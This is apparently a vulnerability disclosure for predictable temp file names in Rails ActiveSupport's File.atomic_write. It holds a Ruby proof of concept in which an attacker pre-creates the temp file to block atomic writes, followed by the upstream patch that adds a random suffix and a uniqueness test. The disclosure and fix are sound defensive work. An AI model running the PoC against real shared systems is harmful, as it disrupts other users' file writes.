TOCTOU / Temp file name predictability during atomic write

PoC (demonstrates pre-existing temp file blocking atomic write in older version):\n\nEnvironment: Ruby on Rails app using ActiveSupport's File.atomic_write in a multi-tenant environment where multiple processes write to the same directory.\n\nAssumptions: The pre-fix implementation uses a predictable temp file path based on the target file name (e.g., .atomic-test.txt) and does not include a random suffix in the temp path. An attacker that can write to the directory can create a file with that temp path before the atomic write occurs, causing the atomic write to fail or behave unexpectedly due to the EXCL flag.\n\nRuby/Rails (execute within a Rails console or app context):\n\n# Setup a temporary directory\nrequire 'tmpdir'\nrequire 'fileutils'\nrequire 'securerandom'\n\nDir.mktmpdir do |dir|\n Dir.chdir(dir) do\n file_name = "atomic-test.txt"\n # Predicted temp path from pre-fix implementation: ".<basename>" in the same dir\n tmp_path = File.join(dir, ".#{File.basename(file_name)}")\n\n # Attacker pre-creates the temp path to block the atomic write\n File.write(tmp_path, "attacker content")\n\n begin\n # This call requires Rails' File.atomic_write (ActiveSupport)\n File.atomic_write(file_name, Dir.pwd) do |f|\n f.write("payload")\n end\n rescue => e\n puts "atomic_write blocked by pre-existing temp file: #{e.class}: #{e.message}"\n end\n end\nend\n\nNotes:\n- In the patched version, the temp file name includes a random suffix, so an attacker cannot reliably predict tmp_path and pre-create it.\n- The test in rails/rails asserts that two atomic writes use unique temp file names.

diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb index f85f3e91c7042..011d932452a0e 100644 --- a/activesupport/lib/active_support/core_ext/file/atomic.rb +++ b/activesupport/lib/active_support/core_ext/file/atomic.rb @@ -27,7 +27,7 @@ def self.atomic_write(file_name, temp_dir = dirname(file_name)) # Names can't be longer than 255B tmp_suffix = ".tmp.#{SecureRandom.hex}" - tmp_name = ".#{basename(file_name).byteslice(0, 254 - tmp_suffix.bytesize)}" + tmp_name = ".#{basename(file_name).byteslice(0, 254 - tmp_suffix.bytesize)}#{tmp_suffix}" tmp_path = File.join(temp_dir, tmp_name) open(tmp_path, RDWR | CREAT | EXCL | SHARE_DELETE | BINARY) do |temp_file| temp_file.binmode diff --git a/activesupport/test/core_ext/file_test.rb b/activesupport/test/core_ext/file_test.rb index e8a7200c06c58..e47eb74176b0a 100644 --- a/activesupport/test/core_ext/file_test.rb +++ b/activesupport/test/core_ext/file_test.rb @@ -94,6 +94,20 @@ def test_when_no_dir end end + def test_atomic_write_uses_unique_temp_file_names + temp_file_paths = [] + 2.times do + File.atomic_write(file_name, Dir.pwd) do |file| + temp_file_paths << file.path + end + end + + assert_match(/\.atomic-#{Process.pid}\.file\.tmp\.[0-9a-f]{32}\z/, temp_file_paths[0]) + assert_not_equal temp_file_paths[0], temp_file_paths[1] + ensure + File.unlink(file_name) rescue nil + end + private def file_name "atomic-#{Process.pid}.file"